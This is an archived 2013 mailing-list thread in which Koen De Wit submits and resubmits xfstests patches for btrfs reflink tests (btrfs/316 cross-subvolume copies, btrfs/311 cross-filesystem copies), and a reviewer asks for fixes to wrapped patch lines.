+++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/316.out | 39 +++++++++++++++ > tests/btrfs/group | 1 + > 3 files changed, 170 insertions(+), 0 deletions(-) > create mode 100755 tests/btrfs/316 > create mode 100644 tests/btrfs/316.out > > diff --git a/tests/btrfs/316 b/tests/btrfs/316 > new file mode 100755 > index 0000000..7c9c368 > --- /dev/null > +++ b/tests/btrfs/316 > @@ -0,0 +1,130 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/316 > +# > +# Testing cross-subvolume sparse copy on btrfs > +# - Create two subvolumes, mount one of them > +# - Create a file on each (sub/root)volume, > +# reflink them on the other volumes > +# - Change one original and two reflinked files > +# - Move reflinked files between subvolumes > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > + > +seq=`basename $0` > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + umount $SCRATCH_MNT > + rm -rf $TESTDIR1 > + rm -rf $TESTDIR2 > + btrfs subvolume delete $SUBVOL1 >> $seqres.full > + btrfs subvolume delete $SUBVOL2 >> $seqres.full > + cd / > + rm -f $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > + > +_require_scratch > +_require_cp_reflink > + > +_checksum_files() { > + for F in file1 file2 file3 > + do > + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 > + do > + md5sum $D/$F | _filter_test_dir | _filter_scratch > + done > + done > +} > + > +TESTDIR1=$TEST_DIR/test-$seq-1 > +TESTDIR2=$TEST_DIR/test-$seq-2 > +SUBVOL1=$TEST_DIR/subvol-$seq-1 > +SUBVOL2=$TEST_DIR/subvol-$seq-2 > + > +_scratch_unmount 2>/dev/null > +rm -rf $seqres.full > +rm -rf $TESTDIR1 $TESTDIR2 > +btrfs subvol delete $SUBVOL1 >/dev/null 2>&1 > +btrfs subvol delete $SUBVOL2 >/dev/null 2>&1 > + > +mkdir $TESTDIR1 > +mkdir $TESTDIR2 > +btrfs subvolume create $SUBVOL1 >> $seqres.full > +btrfs subvolume create $SUBVOL2 >> $seqres.full > +_mount -t btrfs -o subvol=subvol-$seq-1 $TEST_DEV $SCRATCH_MNT > + > +echo "Create initial files" > +# TESTDIR1/file1 is very small and will be inlined > +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 10' $TESTDIR1/file1 >> $seqres.full > +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 13000' $SCRATCH_MNT/file2 >> > $seqres.full > +$XFS_IO_PROG -f -c 'pwrite -S 0x63 0 17000' $SUBVOL2/file3 >> $seqres.full > + > +echo "Create reflinks to the initial files on other subvolumes" > +cp --reflink $TESTDIR1/file1 $SUBVOL1 > +cp --reflink $TESTDIR1/file1 $SUBVOL2 > +cp --reflink $SUBVOL1/file2 $TESTDIR1/ > +cp --reflink $SUBVOL1/file2 $SUBVOL2 > +cp --reflink $SUBVOL2/file3 $TESTDIR1/ > +cp --reflink $SUBVOL2/file3 $SUBVOL1 > + > +echo "Verify the reflinks" > +_verify_reflink $SCRATCH_MNT/file2 $TESTDIR1/file2 > +_verify_reflink $SCRATCH_MNT/file2 $SUBVOL2/file2 > +_verify_reflink $SUBVOL2/file3 $TESTDIR1/file3 > +_verify_reflink $SUBVOL2/file3 $SCRATCH_MNT/file3 > +echo "Verify the file contents:" > +_checksum_files > + > +echo -e "---\nOverwrite some files with new content" > +$XFS_IO_PROG -c 'pwrite -S 0x64 0 20' $TESTDIR1/file1 >> $seqres.full > +$XFS_IO_PROG -c 'pwrite -S 0x66 0 21000' $SUBVOL2/file2 >> $seqres.full > +$XFS_IO_PROG -c 'pwrite -S 0x65 5000 5000' $SCRATCH_MNT/file3 >> > $seqres.full Line wrapped here ^^, patch won't apply cleanly. Thanks, Josef From JBacik@fusionio.com Mon Jul 1 15:39:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 81D5D7F55 for ; Mon, 1 Jul 2013 15:39:55 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0F018AC005 for ; Mon, 1 Jul 2013 13:39:51 -0700 (PDT) X-ASG-Debug-ID: 1372711190-04cb6c2a47746250001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id MTTHVYQ26CHcb1xd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 01 Jul 2013 13:39:50 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 4F4889A0356 for ; Mon, 1 Jul 2013 14:39:50 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1372711190; bh=rZo6B4Ka/Iyq5TzChTojheIUNLAu6sHrzYDLlusshbc=; h=Date:From:To:CC:Subject:References:In-Reply-To; b=XpvVRL+6yxqbPA05X6+gwJ1Rl/YhmE/QP4i4iB4WVmQWLNXmTE030GDc1A8RcpJvc jYR1obMeJ0aKPhCfBl3ruVOTUPgkMgF9fnKLQQ+nRTjU47vUX4XPx2arl0r2j0c8Lu lGFTBLKzlcf/Y28BZmEylG9tFbFMo+SmF6lJOsXE= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx2.fusionio.com with ESMTP id ETxVAqy15xR5Ruju (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Mon, 01 Jul 2013 14:39:49 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.123.3; Mon, 1 Jul 2013 14:39:48 -0600 Date: Mon, 1 Jul 2013 16:39:47 -0400 From: Josef Bacik To: Koen De Wit CC: Eric Sandeen , , Subject: Re: [PATCH v2] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Message-ID: <20130701203947.GI4288@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints References: <51D1A734.3000805@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Disposition: inline In-Reply-To: <51D1A734.3000805@oracle.com> User-Agent: Mutt/1.5.21 (2011-07-01) X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1372711190 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135527 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jul 01, 2013 at 05:58:44PM +0200, Koen De Wit wrote: > Thanks Eric for reviewing and improving testcases btrfs/306, 309, 310 and > 311 ! > > I had just one comment: on line 70 the output was redirected to $seqres.fll > instead of $seqres.full. Corrected patch below. > > # Check if creating a sparse copy ("reflink") of a file on btrfs > # expectedly fails when it's done between different filesystems or > # different mount points of the same filesystem. > # > # For both situations, these actions are executed: > # - Copy a file with the reflink=auto option. > # A normal copy should be created. > # - Copy a file with the reflink=always option. Should result in error, > # no file should be created. > > [sandeen: mostly cosmetic changes] > > Originally submitted as: > xfstests: 301: sparse copy between different filesystems/mountpoints on > btrfs > > Signed-off-by: Koen De Wit > Signed-off-by: Eric Sandeen > --- > tests/btrfs/311 | 107 > +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/311.out | 15 +++++++ > tests/btrfs/group | 4 ++ > 3 files changed, 126 insertions(+), 0 deletions(-) > create mode 100755 tests/btrfs/311 > create mode 100644 tests/btrfs/311.out > > diff --git a/tests/btrfs/311 b/tests/btrfs/311 > new file mode 100755 > index 0000000..56ebd58 > --- /dev/null > +++ b/tests/btrfs/311 > @@ -0,0 +1,107 @@ > +#! /bin/bash > +# FS QA Test No. 311 > +# > +# Check if creating a sparse copy ("reflink") of a file on btrfs > +# expectedly fails when it's done between different filesystems or > +# different mount points of the same filesystem. > +# > +# For both situations, these actions are executed: > +# - Copy a file with the reflink=auto option. > +# A normal copy should be created. > +# - Copy a file with the reflink=always option. Should result in error, > +# no file should be created. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > + > +seq=`basename $0` > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + umount $SCRATCH_MNT &>/dev/null > + cd / > + rm -f $tmp.* > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > + > +_require_scratch > +_require_cp_reflink > + > +SOURCE_DIR=$TEST_DIR/test-$seq > +CROSS_DEV_DIR=$SCRATCH_MNT/test-$seq > +# mount point & target for twice-mounted device > +TEST_DIR2=$TEST_DIR/mount2 > +DUAL_MOUNT_DIR=$SCRATCH_MNT/test-bis-$seq > + > +rm -rf $SOURCE_DIR > +mkdir $SOURCE_DIR > + > +rm -f $seqres.full > + > +_scratch_mkfs > +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $SOURCE_DIR/original \ > + >> $seqres.full > + > +_filter_testdirs() > +{ > + _filter_test_dir | _filter_scratch > +} > + > +_create_reflinks_to() > +{ > + # auto reflink, should fall back to non-reflink > + rm -rf $1; mkdir $1 > + echo "reflink=auto:" > + cp --reflink=auto $SOURCE_DIR/original $1/copy > + md5sum $SOURCE_DIR/original | _filter_testdirs > + md5sum $1/copy | _filter_testdirs > + > + # always reflink, should fail outright > + rm -rf $1; mkdir $1 > + echo "reflink=always:" > + cp --reflink=always $SOURCE_DIR/original $1/copyfail 2>&1 | > _filter_testdirs Line wrapped here ^^, patch doesn't apply, please fix and resubmit. Thanks, Josef From koen.de.wit@oracle.com Tue Jul 2 04:29:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8845F7F53 for ; Tue, 2 Jul 2013 04:29:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2206FAC003 for ; Tue, 2 Jul 2013 02:29:10 -0700 (PDT) X-ASG-Debug-ID: 1372757348-04bdf0233faa63c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id P6fKeQJNpQjFvEzE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 02:29:08 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r629T6RS028609 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 2 Jul 2013 09:29:07 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r629T5NU008655 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Jul 2013 09:29:06 GMT Received: from abhmt120.oracle.com (abhmt120.oracle.com [141.146.116.72]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r629T5cf028521; Tue, 2 Jul 2013 09:29:05 GMT Received: from [192.168.0.247] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 02 Jul 2013 02:29:05 -0700 Message-ID: <51D29D17.3050000@oracle.com> Date: Tue, 02 Jul 2013 11:27:51 +0200 From: Koen De Wit User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20111110 Icedove/3.0.11 MIME-Version: 1.0 To: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372757348 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. Originally submitted as testcase 302, changes are made based on comments from Eric: http://oss.sgi.com/archives/xfs/2013-03/msg00231.html Two new common/rc functions used in this script (_require_cp_reflink and _verify_reflink) have been submitted recently: http://oss.sgi.com/archives/xfs/2013-05/msg00745.html Thanks to Eric Sandeen and Dave Chinner for the reviews. Version 3: fixing wrapped patch. Signed-off-by: Koen De Wit --- tests/btrfs/316 | 130 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/316.out | 39 +++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 170 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/316 create mode 100644 tests/btrfs/316.out diff --git a/tests/btrfs/316 b/tests/btrfs/316 new file mode 100755 index 0000000..7c9c368 --- /dev/null +++ b/tests/btrfs/316 @@ -0,0 +1,130 @@ +#! /bin/bash +# FS QA Test No. btrfs/316 +# +# Testing cross-subvolume sparse copy on btrfs +# - Create two subvolumes, mount one of them +# - Create a file on each (sub/root)volume, +# reflink them on the other volumes +# - Change one original and two reflinked files +# - Move reflinked files between subvolumes +# +#----------------------------------------------------------------------- +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT + rm -rf $TESTDIR1 + rm -rf $TESTDIR2 + btrfs subvolume delete $SUBVOL1 >> $seqres.full + btrfs subvolume delete $SUBVOL2 >> $seqres.full + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +_checksum_files() { + for F in file1 file2 file3 + do + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 + do + md5sum $D/$F | _filter_test_dir | _filter_scratch + done + done +} + +TESTDIR1=$TEST_DIR/test-$seq-1 +TESTDIR2=$TEST_DIR/test-$seq-2 +SUBVOL1=$TEST_DIR/subvol-$seq-1 +SUBVOL2=$TEST_DIR/subvol-$seq-2 + +_scratch_unmount 2>/dev/null +rm -rf $seqres.full +rm -rf $TESTDIR1 $TESTDIR2 +btrfs subvol delete $SUBVOL1 >/dev/null 2>&1 +btrfs subvol delete $SUBVOL2 >/dev/null 2>&1 + +mkdir $TESTDIR1 +mkdir $TESTDIR2 +btrfs subvolume create $SUBVOL1 >> $seqres.full +btrfs subvolume create $SUBVOL2 >> $seqres.full +_mount -t btrfs -o subvol=subvol-$seq-1 $TEST_DEV $SCRATCH_MNT + +echo "Create initial files" +# TESTDIR1/file1 is very small and will be inlined +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 10' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 13000' $SCRATCH_MNT/file2 >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x63 0 17000' $SUBVOL2/file3 >> $seqres.full + +echo "Create reflinks to the initial files on other subvolumes" +cp --reflink $TESTDIR1/file1 $SUBVOL1 +cp --reflink $TESTDIR1/file1 $SUBVOL2 +cp --reflink $SUBVOL1/file2 $TESTDIR1/ +cp --reflink $SUBVOL1/file2 $SUBVOL2 +cp --reflink $SUBVOL2/file3 $TESTDIR1/ +cp --reflink $SUBVOL2/file3 $SUBVOL1 + +echo "Verify the reflinks" +_verify_reflink $SCRATCH_MNT/file2 $TESTDIR1/file2 +_verify_reflink $SCRATCH_MNT/file2 $SUBVOL2/file2 +_verify_reflink $SUBVOL2/file3 $TESTDIR1/file3 +_verify_reflink $SUBVOL2/file3 $SCRATCH_MNT/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nOverwrite some files with new content" +$XFS_IO_PROG -c 'pwrite -S 0x64 0 20' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x66 0 21000' $SUBVOL2/file2 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x65 5000 5000' $SCRATCH_MNT/file3 >> $seqres.full + +echo "Verify that non-overwritten reflinks still have the same data blocks" +_verify_reflink $TESTDIR1/file2 $SCRATCH_MNT/file2 +_verify_reflink $TESTDIR1/file3 $SUBVOL2/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nShuffle files between directories" +mv $TESTDIR1/file* $TESTDIR2 +mv $SCRATCH_MNT/file* $TESTDIR1/ +mv $SUBVOL2/file* $SCRATCH_MNT/ +mv $TESTDIR2/file* $SUBVOL2/ + +# No _verify_reflink here as data is copied when moving files between subvols +echo "Verify the file contents:" +_checksum_files + +# success, all done +status=0 +exit diff --git a/tests/btrfs/316.out b/tests/btrfs/316.out new file mode 100644 index 0000000..fbfa550 --- /dev/null +++ b/tests/btrfs/316.out @@ -0,0 +1,39 @@ +QA output created by 316 +Create initial files +Create reflinks to the initial files on other subvolumes +Verify the reflinks +Verify the file contents: +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 +e09c80c42fda55f9d992e59ca6b3307d SCRATCH_MNT/file1 +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/subvol-302-2/file1 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/test-302-1/file2 +d7402b46310fbbfbc5e466b1dccb043b SCRATCH_MNT/file2 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/subvol-302-2/file2 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/test-302-1/file3 +5a95800e4c04b11117aa4e4de057721f SCRATCH_MNT/file3 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/subvol-302-2/file3 +--- +Overwrite some files with new content +Verify that non-overwritten reflinks still have the same data blocks +Verify the file contents: +00d620f69f30327f0f8946b95c12de44 TEST_DIR/test-302-1/file1 +e09c80c42fda55f9d992e59ca6b3307d SCRATCH_MNT/file1 +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/subvol-302-2/file1 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/test-302-1/file2 +d7402b46310fbbfbc5e466b1dccb043b SCRATCH_MNT/file2 +917619ae44b38bb9968af261c3c45440 TEST_DIR/subvol-302-2/file2 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/test-302-1/file3 +b9f275cd638cb784c9e61def94c622a8 SCRATCH_MNT/file3 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/subvol-302-2/file3 +--- +Shuffle files between directories +Verify the file contents: +e09c80c42fda55f9d992e59ca6b3307d TEST_DIR/test-302-1/file1 +e09c80c42fda55f9d992e59ca6b3307d SCRATCH_MNT/file1 +00d620f69f30327f0f8946b95c12de44 TEST_DIR/subvol-302-2/file1 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/test-302-1/file2 +917619ae44b38bb9968af261c3c45440 SCRATCH_MNT/file2 +d7402b46310fbbfbc5e466b1dccb043b TEST_DIR/subvol-302-2/file2 +b9f275cd638cb784c9e61def94c622a8 TEST_DIR/test-302-1/file3 +5a95800e4c04b11117aa4e4de057721f SCRATCH_MNT/file3 +5a95800e4c04b11117aa4e4de057721f TEST_DIR/subvol-302-2/file3 diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..a6d8de1 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +316 auto quick -- 1.7.2.5 From koen.de.wit@oracle.com Tue Jul 2 04:34:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AB4DE7F53 for ; Tue, 2 Jul 2013 04:34:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8B9FC3040BD for ; Tue, 2 Jul 2013 02:34:46 -0700 (PDT) X-ASG-Debug-ID: 1372757685-04cb6c2a417e5c00001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 5QefN08S4Ys1GSxs (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 02 Jul 2013 02:34:45 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r629YhXI002218 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 2 Jul 2013 09:34:44 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r629YgLi014910 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Jul 2013 09:34:43 GMT Received: from abhmt115.oracle.com (abhmt115.oracle.com [141.146.116.67]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r629YguE028048; Tue, 2 Jul 2013 09:34:42 GMT Received: from [192.168.0.247] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 02 Jul 2013 02:34:41 -0700 Message-ID: <51D29E67.5020204@oracle.com> Date: Tue, 02 Jul 2013 11:33:27 +0200 From: Koen De Wit User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20111110 Icedove/3.0.11 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: [PATCH v3] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v3] xfstests: btrfs/311: sparse copy between different filesystems/mountpoints Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372757685 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135579 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks Eric for reviewing and improving testcases btrfs/306, 309, 310 and 311 ! I had just one comment: on line 70 the output was redirected to $seqres.fll instead of $seqres.full. Corrected patch below. # Check if creating a sparse copy ("reflink") of a file on btrfs # expectedly fails when it's done between different filesystems or # different mount points of the same filesystem. # # For both situations, these actions are executed: # - Copy a file with the reflink=auto option. # A normal copy should be created. # - Copy a file with the reflink=always option. Should result in error, # no file should be created. [sandeen: mostly cosmetic changes] Originally submitted as: xfstests: 301: sparse copy between different filesystems/mountpoints on btrfs Version 3: fixing wrapped patch. Signed-off-by: Koen De Wit Signed-off-by: Eric Sandeen --- tests/btrfs/311 | 107 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/311.out | 15 +++++++ tests/btrfs/group | 4 ++ 3 files changed, 126 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/311 create mode 100644 tests/btrfs/311.out diff --git a/tests/btrfs/311 b/tests/btrfs/311 new file mode 100755 index 0000000..56ebd58 --- /dev/null +++ b/tests/btrfs/311 @@ -0,0 +1,107 @@ +#! /bin/bash +# FS QA Test No. 311 +# +# Check if creating a sparse copy ("reflink") of a file on btrfs +# expectedly fails when it's done between different filesystems or +# different mount points of the same filesystem. +# +# For both situations, these actions are executed: +# - Copy a file with the reflink=auto option. +# A normal copy should be created. +# - Copy a file with the reflink=always option. Should result in error, +# no file should be created. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT &>/dev/null + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +SOURCE_DIR=$TEST_DIR/test-$seq +CROSS_DEV_DIR=$SCRATCH_MNT/test-$seq +# mount point & target for twice-mounted device +TEST_DIR2=$TEST_DIR/mount2 +DUAL_MOUNT_DIR=$SCRATCH_MNT/test-bis-$seq + +rm -rf $SOURCE_DIR 